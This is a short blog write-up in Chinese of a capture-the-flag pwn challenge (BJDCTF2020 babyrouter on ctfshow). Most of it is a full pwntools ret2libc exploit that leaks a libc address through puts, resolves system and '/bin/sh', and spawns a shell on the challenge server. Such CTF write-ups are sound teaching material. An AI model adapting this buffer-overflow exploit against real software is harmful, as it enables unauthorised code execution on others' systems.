BJDCTF2020 babyrouter

最新推荐文章于 2024-03-14 21:30:03 发布

whit233

最新推荐文章于 2024-03-14 21:30:03 发布

阅读量262

点赞数

分类专栏： ctfshow pwn详细wp 文章标签： python

本文链接：https://blog.csdn.net/qq_39980610/article/details/126467036

版权

ctfshow pwn详细wp 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

checksec

64位，nx保护

很标准的64位ret2libc ，有puts，read

搜索一下待会会用到的gadgets

现在就套模板构造exp吧：

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
io = remote("pwn.challenge.ctf.show", 28005)
elf = ELF("bjdctf1")
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
ret = 0x4004c9
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x4006c1
main_addr  = elf.symbols["main"]
payload = b"a"*(0x20+8)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("me u story!\n")
io.sendline(payload)
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(gets_addr))
libc = LibcSearcher("read",gets_addr)
libcbase = gets_addr - libc.dump("read")
system_addr =  libcbase + libc.dump("system")
bin_sh_addr = libcbase +  libc.dump("str_bin_sh")
payload_2 = b"a"*(0x20+8)+ p64(pop_rdi_ret) + p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("me u story!\n")
io.sendline(payload_2)
io.interactive()